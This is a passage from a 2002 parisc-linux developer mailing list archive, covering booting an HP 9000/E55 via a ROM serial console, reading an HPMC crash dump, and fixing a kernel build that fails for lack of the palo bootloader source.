via ethernet (BOOTP/TFTP) works very well. The first step was to get
an running console (serial).

For this I started with a hack, using the ROM PDC console via a
polling driver, and so I could start the machine June 2001.

End of 2001 I rewrote this driver as clean one, and Ryan added the
config stuff. So you can use the default linux PA-RISC kernel to
boot the E55 as "diskless server" via NFS-ROOT and a serial ROM
console.

What to do:
-----------

Checkout a kernel, and enable the PDC ROM console in the "Character
Devices" under the "Non-standard serial support". Further follow the
<HELP> instructions for this driver (Creating a /dev/ttyB0, and use
this device as login device).

With this driver we have a chance to do further development on the
device driver programming. I am waiting on documentation to help
developing drivers, but I have to wait.

HELLO ot the others. What is the status on the docu or drivers ?

Good luck in starting up the E55 (it is quite straignt and no real
hacks or patches are needed !).

Christoph P.


Damian Boune wrote:
> 
> > From what I recall, the HP 9000/E55 (and the other Ex5 models) is
> > not supported by Linux, and it won't run.
> 
> Yes, this is the general case AFAIK, other than the below.
> 
> > OTOH, IIRC, Christoph Plattner did manage to get some form of Linux
> running on it,
> > possibly by making major changes to the I/O system...
> >
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-November/01461
> 5.html
> 
> I reviewed this message during my initial research, and this seems to
> point to what I need to get started. I'll have to dig around CVS and see
> what I can find.
> 
> Christoph, is there anything specific I should look at? Have you had any
> further trials?
> 
> Many Thanks!!!
> Damian Boune
> Marmot Mountain Ltd.
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.18 SMP instability
Date: Wed, 05 Jun 2002 15:24:15 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20020605212415.57F93482A@dsl2.external.hp.com>
References: <Pine.LNX.4.44.0206031455490.24659-100000@garibaldi.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621364 8386 80.91.229.3 (22 Nov 2014 01:56:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:04 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 15:24:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 57F93482A; Wed,  5 Jun 2002 15:24:15 -0600 (MDT)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Mon, 03 Jun 2002 14:58:11 PDT." <Pine.LNX.4.44.0206031455490.24659-100000@garibaldi.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14995

Jeremy Drake wrote:
> Here it is...  BTW, maybe you could explain how to interpret these, so I 
> don't have to send you all of this...

Generally, look at IOA offset and GR02 to see where it died.
If it's not a kernel address, start trying to figure out what it is.
Lots more magic in the PIM dump that I don't understand either.

In this HPMC dump, I don't know where 0x19bf0 is...

The firmware on the workstations tries to give a high level decoding
of the error:
> A Data I/O Fetch Timeout occurred while CPU 0 was
> requesting information from a device at the path 10/0/15/1 (built-in PCI devi
>   ce).
> 
> 
> Memory/IO Controller Error Analysis Information:
> 
> The Memory/IO Controller only observed the Broadcast Error.  It did not log
> any additional information about the HPMC.


This typically means something in the IO path didn't respond
to a CPU read.

grant



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building my first kernel
Date: Wed,  5 Jun 2002 20:16:24 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <200206052016.AA1508901426@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621364 8390 80.91.229.3 (22 Nov 2014 01:56:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 19:18:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6EFCB482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 19:18:12 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14996

I'm trying to build the 2.4.18 kernel, and everything goes great
until I get to the `make bzImage` part and it screams about palo.
I'm assuming I need the palo source. is this right??

-Marc

seki:/usr/src/kernel-source-2.4.18-hppa# make bzImage

.... snip ....

`gcc -print-libgcc-file-name` /usr/src/kernel-source-2.4.18-hppa/arch/parisc/lib
/lib.a /usr/src/kernel-source-2.4.18-hppa/lib/lib.a  \
        --end-group \
        -o vmlinux
nm vmlinux | grep -v '\(compiled\)\|\(\.o$\)\|\( [aUw] \)\|\(\.\.ng$\)\|\(LASH[R
L]DI\)' | sort > System.map
export TOPDIR=`pwd`; \
unset STRIP LDFLAGS CPP CPPFLAGS AFLAGS CFLAGS CC LD; cd ../palo && make lifimag
e
/bin/sh: cd: ../palo: No such file or directory
make: *** [palo] Error 1
seki:/usr/src/kernel-source-2.4.18-hppa#



From - Thu Nov 08 21:22:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Installing a Second Network Card
Date: Wed,  5 Jun 2002 20:17:01 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <200206052017.AA3858170320@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621364 8394 80.91.229.3 (22 Nov 2014 01:56:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:04 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 19:18:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67A24482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 19:18:48 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14997

I have another network out of a C180, and I stuck it into mine, but
I cannot figure out how to get it to show up in Linux.

Thanks,
-Marc



From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Wed, 5 Jun 2002 22:26:52 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20020605222652.C1118@systemhalted>
References: <200206052016.AA1508901426@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621365 8397 80.91.229.3 (22 Nov 2014 01:56:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 20:26:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2889E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 20:26:56 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g562Qq301335;
	Wed, 5 Jun 2002 22:26:52 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	marc <marc@centraltx.com>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206052016.AA1508901426@mail.centraltx.com>; from marc@centraltx.com on Wed, Jun 05, 2002 at 08:16:24PM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (36% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14998

> I'm trying to build the 2.4.18 kernel, and everything goes great
> until I get to the `make bzImage` part and it screams about palo.
> I'm assuming I need the palo source. is this right??
> 
> -Marc
>

Yup.

$SRC-TREE--|
           |--- /linux
           |
           |--- /palo

cd linux;
make oldconfig;
make menuconfig; (Fiddle)
make dep;
make palo;

This puts the required lifimage in $SRC-TREE/palo

c.




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Wed,  5 Jun 2002 22:34:19 -0500
Lines: 61
Approved: news@gmane.org
Message-ID: <200206052234.AA1633878578@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621365 8403 80.91.229.3 (22 Nov 2014 01:56:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:05 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: marc <marc@centraltx.com>,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 21:36:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE67E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 21:36:07 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14999

Call me crazy, but I cannot get this to work. There doesn't seem
to be a 'palo' target for make. When I run make palo it just
runs the make all (below are the first few lines).

Any Ideas?

seki:/usr/src/kernel-source-2.4.18-hppa# make palo
. scripts/mkversion > .tmpversion
gcc -D__KERNEL__ -I/usr/src/kernel-source-2.4.18-hppa/include -Wall -Wstrict-pro
totypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -fno-common
 -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -m
disable-fpregs -ffunction-sections -march=1.1 -mschedule=7100  -DUTS_MACHINE='"p
arisc"' -c -o init/version.o init/version.c
make CFLAGS="-D__KERNEL__ -I/usr/src/kernel-source-2.4.18-hppa/include -Wall -Ws
trict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -f
no-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect
-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7100 " -C  ker
nel
make[1]: Entering directory `/usr/src/kernel-source-2.4.18-hppa/kernel'
make all_targets
make[2]: Entering directory `/usr/src/kernel-source-2.4.18-hppa/kernel'
make[2]: Nothing to be done for `all_targets'.
make[2]: Leaving directory `/usr/src/kernel-source-2.4.18-hppa/kernel'
make[1]: Leaving directory `/usr/src/kernel-source-2.4.18-hppa/kernel'
make CFLAGS="-D__KERNEL__ -I/usr/src/kernel-source-2.4.18-hppa/include -Wall -Ws
trict-prototypes -Wno-trigraphs -O2 -fomit-frame-pointer -fno-strict-aliasing -f
no-common -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect
-calls -mdisable-fpregs -ffunction-sections -march=1.1 -mschedule=7100 " -C  dri
vers

---------- Original Message ----------------------------------
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Date:  Wed, 5 Jun 2002 22:26:52 -0400

>> I'm trying to build the 2.4.18 kernel, and everything goes great
>> until I get to the `make bzImage` part and it screams about palo.
>> I'm assuming I need the palo source. is this right??
>> 
>> -Marc
>>
>
>Yup.
>
>$SRC-TREE--|
>           |--- /linux
>           |
>           |--- /palo
>
>cd linux;
>make oldconfig;
>make menuconfig; (Fiddle)
>make dep;
>make palo;
>
>This puts the required lifimage in $SRC-TREE/palo
>
>c.
>
>



From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Wed, 5 Jun 2002 23:46:37 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <20020605234637.E1118@systemhalted>
References: <200206052234.AA1633878578@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621365 8406 80.91.229.3 (22 Nov 2014 01:56:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: marc <marc@centraltx.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 21:46:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A513482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 21:46:40 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g563kbD05572;
	Wed, 5 Jun 2002 23:46:37 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	marc <marc@centraltx.com>, parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200206052234.AA1633878578@mail.centraltx.com>; from marc@centraltx.com on Wed, Jun 05, 2002 at 10:34:19PM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (36% Sync Ratio [====......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15000

> Call me crazy, but I cannot get this to work. There doesn't seem
> to be a 'palo' target for make. When I run make palo it just
> runs the make all (below are the first few lines).
> 
> Any Ideas?
>

How did you get the source tree for linux and palo?

c. 



From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "marc " <marc@centraltx.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Wed,  5 Jun 2002 23:39:30 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <200206052339.AA4027384388@mail.centraltx.com>
Reply-To: <marc@centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621366 8408 80.91.229.3 (22 Nov 2014 01:56:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:06 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: marc <marc@centraltx.com>,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jun  5 22:41:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.centraltx.com (unknown [64.209.39.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F2B3482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  5 Jun 2002 22:41:18 -0600 (MDT)
X-Sender: <marc@centraltx.com>
X-Mailer: <IMail v7.04>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15001

i did:

   apt-get install kernel-source-2.4.18-hppa

---------- Original Message ----------------------------------
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Date:  Wed, 5 Jun 2002 23:46:37 -0400

>> Call me crazy, but I cannot get this to work. There doesn't seem
>> to be a 'palo' target for make. When I run make palo it just
>> runs the make all (below are the first few lines).
>> 
>> Any Ideas?
>>
>
>How did you get the source tree for linux and palo?
>
>c. 
>



From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Thu, 6 Jun 2002 09:19:20 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <200206060919.20831.deller@gmx.de>
References: <200206052339.AA4027384388@mail.centraltx.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621366 8412 80.91.229.3 (22 Nov 2014 01:56:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:06 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: <marc@centraltx.com>,
	"Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 01:20:13 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id BAB3A482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 01:20:11 -0600 (MDT)
Original-Received: (qmail 4367 invoked by uid 0); 6 Jun 2002 07:20:09 -0000
Original-Received: from pd90403a7.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.3.167)
  by mail.gmx.net (mp016-rz3) with SMTP; 6 Jun 2002 07:20:09 -0000
User-Agent: KMail/1.4.5
In-Reply-To: <200206052339.AA4027384388@mail.centraltx.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15002

Hi Marc,

Go to
http://cvs.parisc-linux.org/
and check out the linux and palo directories with an anonymous account.
Then build your linux kernel from the linux directory.

Greetings,
Helge

On Thursday 06 June 2002 06:39, marc  wrote:
> i did:
>
>    apt-get install kernel-source-2.4.18-hppa
>
> ---------- Original Message ----------------------------------
> From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
> Date:  Wed, 5 Jun 2002 23:46:37 -0400
>
> >> Call me crazy, but I cannot get this to work. There doesn't seem
> >> to be a 'palo' target for make. When I run make palo it just
> >> runs the make all (below are the first few lines).
> >>
> >> Any Ideas?
> >
> >How did you get the source tree for linux and palo?
> >
> >c.




From - Thu Nov 08 21:23:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kenneth Westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Building my first kernel
Date: Thu, 06 Jun 2002 09:06:33 +0000
Lines: 61
Approved: news@gmane.org
Message-ID: <F70qSkZ2On3DnRB0MtS00012bca@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
X-Trace: ger.gmane.org 1416621366 8414 80.91.229.3 (22 Nov 2014 01:56:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:56:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca, marc@centraltx.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jun  6 03:06:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f70.law4.hotmail.com [216.33.149.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id B200F482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  6 Jun 2002 03:06:35 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 6 Jun 2002 02:06:34 -0700
Original-Received: from 194.7.222.142 by lw4fd.law4.hotmail.msn.com with HTTP;
	Thu, 06 Jun 2002 09:06:33 GMT
X-Originating-IP: [194.7.222.142]
X-OriginalArrivalTime: 06 Jun 2002 09:06:34.0090 (UTC) FILETIME=[74A284A0:01C20D39]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
